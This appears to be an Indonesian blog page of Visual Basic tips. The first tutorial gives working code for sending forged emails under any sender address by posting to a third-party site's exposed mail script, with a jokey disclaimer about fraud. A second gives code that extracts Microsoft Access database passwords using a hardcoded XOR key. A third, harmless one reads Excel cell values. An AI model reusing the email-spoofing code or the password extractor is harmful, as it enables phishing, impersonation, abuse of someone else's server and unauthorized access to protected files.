Kirim Email Palsu lewat Program VB

Ingin tau gimana caranya bikin email palsu lewat bahasa pemrograman Visual Basic?
Sssstt.. simple koq!! tapi jangan buat maen2 ya... Ini sih buat belajar aja, sama sekali bukan mengajarkan kejahatan. (Tanggung jawab sendiri loe klo dipake buat nipu!!)

Langkah 1:
Bikin Form baru
Tambahin Objek Inet (Klik Kanan di Tool Box, Componens.. Pilih Microsoft Internet Transfer Control)
Tambahin 4 Text Box
Kasih Nama txtSender, txtTarget, txtSubject, txtMsg
Ubah Properti txtMsg: MultiLine = True
Tambahin 1 Command Button
Atur Tampilannya biar Indah dan menawan :)

Langkah 2:
Copy Source Code Dibawah Ini, Paste di Code nya VB

Private Sub Command1_Click()

Dim strURL As String
Dim StrFormData As String
Dim X, Y
Dim Sender As String
Dim Receiver As String

X = Split(TxtSender.Text, "@")
Sender = X(0) & "%40" & X(1)

Y = Split(TxtTarget.Text, "@")
Receiver = Y(0) & "%40" & Y(1)

StrFormData = "TO=" & Receiver & "&FROM=" & Sender & "&SUBJECT=" & TxtSubject.Text & "&BODY=" & txtMsg.Text

strURL = "http://www.lorenza.it/varie/catalogo/Admin/XcCDONTS.asp"
Inet1.Execute strURL, "POST", StrFormData, "Content-Type: application/x-www-form-urlencoded"
MsgBox "sukses..."
TxtTarget = ""
TxtSubject = ""
TxtMsg = ""

End Sub

Coba deh Run Programnya, target nya pake email sendiri, sendernya terserah, misalnya aku@manis.sekali trus kirim...
haveFun.. :)

Visual Basic: Password Microsoft Access

Pernah punya file microsoft Access yang di protek password, trus Anda lupa?
Tentu sangat menyebalkan.. Jangan Buru² Frustasi!! Bagi Anda yang mengerti pemrograman Visual Basic bisa mencoba membuat program untuk membuka Password. Berikut Listing Programnya:


Function AccessPassword(Byval Filename As string) as string
Dim MaxSize, NextChar, MyChar, secretpos,TempPwd
Dim secret(13)
secret(0) = (&H86)
secret(1) = (&HFB)
secret(2) = (&HEC)
secret(3) = (&H37)
secret(4) = (&H5D)
secret(5) = (&H44)
secret(6) = (&H9C)
secret(7) = (&HFA)
secret(8) = (&HC6)
secret(9) = (&H5E)
secret(10) = (&H28)
secret(11) = (&HE6)
secret(12) = (&H13)

secretpos = 0
Open Filename For Input As #1' Open file for input.


For NextChar = 67 To 79 Step 1 'Read in Encrypted Password
Seek #1, NextChar' Set position.
MyChar = Input(1, #1)' Read character.
TempPwd = TempPwd & Chr(Asc(MyChar) Xor secret(secretpos)) 'Decrypt using Xor
secretpos = secretpos + 1'increment pointer
Next NextChar
Close #1' Close file.
AccessPassword = TempPwd
End Function

Demikian, semoga bermanfaat

Mengambil Nilai Sel Excel Dari VB

bagaimana caranya mengambil nilai suatu sel dari microsoft excel melalui source code visual basic?
Ada satu trik sederhana untuk melakukan hal ini:

Function getExcel(rowval As Integer, columnval As String, excelfile As String)
Dim excelSheet As Object 'Excel Sheet object
'Buat Object Excel

Set excelSheet = CreateObject(excelfile)
mycell$ = columnval & rowval
getExcel = excelSheet.ActiveSheet.Range(mycell$).Value

Set excelSheet = Nothing
End Function

untuk selanjut nya anda bisa copy paste function tersebut di program anda, dan dapat dipangil kapan saja saat diperlukan.

Contoh Penggunaan:

private sub cmdContoh_Click()
dim a
dim baris, klm as integer
dim kolom as string
dim NamaFile as string

NamaFile = App.Path & "\contoh.xls"

For baris =1 to 10
For klm = 1 to 10
Kolom = Chr(klm+ 65) ' ngerubah kolom jadi huruf, sesuai penamaan kolom di excel
IsiExcel = getExcel (baris, kolom, NamaFile) ' ambil isi cell nya
List1.AddItem IsiExcel
Next
Next

End Sub

Jangan Lupa tambahin Preferensi buat excel di program nya (Pilih Menu Project -> Preference ->Microsoft Excel Object Library), klo ngga percuma, ga jalan

Itu saja, semoga bermanfaat. ditunggu kritik dan sarannya

e-Book Gratis

e-Book Ayat ayat fitna: klik disini